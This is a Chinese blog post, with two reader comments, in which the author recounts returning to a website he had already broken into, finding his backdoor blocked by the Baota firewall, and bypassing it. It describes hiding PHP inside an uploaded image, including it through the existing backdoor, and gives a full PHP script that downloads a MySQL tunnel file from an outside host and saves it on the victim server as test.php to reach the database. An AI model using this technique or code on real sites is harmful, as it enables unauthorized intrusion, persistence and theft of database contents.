小技巧之突破宝塔防火墙限制上传

热度:174℃ 评论:2 发布时间:2019-04-06 收录:已收录

之前搞下某站,当时他没有开防火墙,导致我直接getshell。

今天突然还想上去看看,发现他开了宝塔防火墙,导致我留的后门失效,菜刀无法连接了。尝试之前的漏洞上传PHP失败,被拦截。

小技巧之突破宝塔防火墙限制上传

如上图,如果我直接执行一些危险的PHP函数,如phpinfo();都是直接被拦截掉了。。。而执行有的函数,还是可以执行的,那么相当于我还有一点点权限。

遇到这种情况,被防火墙拦截,我第一时间想到的就是文件包含,

将phpinfo(); 复制到一张图片中。然后前台上传图片,然后在利用我的后门包含尝试。

小技巧之突破宝塔防火墙限制上传

成功包含,这里我们直接传个一句话图片马包含就行,但是目测结果同样会被拦截POST请求。

我不需要进菜刀,我只是需要进下数据库,因此我的目的是将 ntunnel_mysql.php 弄上去,但是因为我后门本身就需要提交POST,如果在包含 ntunnel_mysql.php 这个文件也需要请求POST,他们彼此冲突,所以不能直接包含,这里我换了一种方式,直接远程下载。

<?php
function getFile($url, $save_dir = '', $filename = '', $type = 0) {
    if (trim($url) == '') {
        return false;
    }
    if (trim($save_dir) == '') {
        $save_dir = './';
    }
    if (0 !== strrpos($save_dir, '/')) {
        $save_dir.= '/';
    }
    //创建保存目录
    if (!file_exists($save_dir) && !mkdir($save_dir, 0777, true)) {
        return false;
    }
    //获取远程文件所采用的方法
    if ($type) {
        $ch = curl_init();
        $timeout = 5;
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
        $content = curl_exec($ch);
        curl_close($ch);
    } else {
        ob_start();
        readfile($url);
        $content = ob_get_contents();
        ob_end_clean();
    }
    $size = strlen($content);
    //文件大小
    $fp2 = @fopen($save_dir . $filename, 'a');
    fwrite($fp2, $content);
    fclose($fp2);
    unset($content, $url);
    return array(
        'file_name' => $filename,
        'save_path' => $save_dir . $filename
    );
}
$url = "https://www.xiaoxiaowu.me/ntunnel_mysql.txt";
$save_dir = "/www/xx/xx/xx/xx/xx/06/";
$filename = "test.php";
$res = getFile($url, $save_dir, $filename, 1);
var_dump($res);
?>

利用上方代码,远程下载文件,并且保存,这样就可以成为一个独立的PHP文件,不会再POST冲突。
大概流程,将上方代码和图片合并,然后上传图片,然后在用后门包含这个文件,他会直接下载保存。
小技巧之突破宝塔防火墙限制上传
这个小技巧很多人都懂,送给新手们,大佬漂过。

打赏
本文由 Mr.Wu 创作,除注明转载/出处外,均为本站原创,转载前请注明出处!

2条回应:“小技巧之突破宝塔防火墙限制上传”

  1. Mrxn说道:

    老弟,直接上传免杀得马儿打一个HTTP隧道试过没有?

    • Mr.Wu说道:

      @Mrxn 老哥,你可能没注意到这个限制,
      上传文件处存在php后缀的白名单,所以这个上传点可以直接上传PHP文件。
      但是由于宝塔的防火墙,对PHP后缀上传进行了拦截,他是拦截的PHP后缀,而不是拦截的上传的内容,因此和免杀不搭边的。
      另外你说的打一个HTTP隧道这是什么姿势?求细节,学习一波

发表评论

电子邮件地址不会被公开。 必填项已用*标注

顶部
护眼
搜索
分享
公告